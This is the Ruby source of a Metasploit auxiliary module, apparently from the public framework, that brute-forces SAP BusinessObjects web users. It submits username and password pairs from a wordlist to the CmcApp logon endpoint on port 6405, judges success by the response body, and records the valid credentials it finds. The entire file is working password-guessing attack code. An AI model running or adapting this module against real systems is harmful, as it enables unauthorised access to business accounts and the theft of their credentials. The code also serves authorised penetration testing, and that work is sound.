## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'SAP BusinessObjects Web User Bruteforcer', 'Description' => 'This module simply attempts to bruteforce SAP BusinessObjects users by using CmcApp.', 'References' => [ # General [ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ] ], 'Author' => [ 'Joshua Abraham <jabra[at]rapid7.com>' ], 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(6405), ]) register_autofilter_ports([ 6405 ]) end def run_host(ip) res = send_request_cgi({ 'uri' => "/PlatformServices/service/app/logon.object", 'method' => 'GET' }, 25) return if not res each_user_pass { |user, pass| enum_user(user,pass) } end def report_cred(opts) service_data = { address: opts[:ip], port: opts[:port], service_name: opts[:service_name], protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { last_attempted_at: Time.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def enum_user(user, pass) vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' password: '#{pass}'") success = false data = 'isFromLogonPage=true&cms=127.0.1%3A6400' data << "&username=#{Rex::Text.uri_encode(user.to_s)}" data << "&password=#{Rex::Text.uri_encode(pass.to_s)}" data << '&authType=secEnterprise&backUrl=%2FApp%2Fhome.faces' begin res = send_request_cgi({ 'uri' => '/PlatformServices/service/app/logon.object', 'data' => data, 'method' => 'POST', 'headers' => { 'Connection' => "keep-alive", 'Accept-Encoding' => "gzip,deflate", }, }, 45) return :abort if (!res or (res and res.code != 200)) if(res.body.match(/Account Information/i)) success = false else success = true success end rescue ::Rex::ConnectionError vprint_error("[SAP BusinessObjects] Unable to attempt authentication") return :abort end if success print_good("[SAP BusinessObjects] Successful login '#{user}' password: '#{pass}'") report_cred( ip: rhost, port: rport, service_name: 'sap-businessobjects', user: user, password: pass, proof: res.body ) return :next_user else vprint_error("[SAP BusinessObjects] failed to login as '#{user}' password: '#{pass}'") return end end end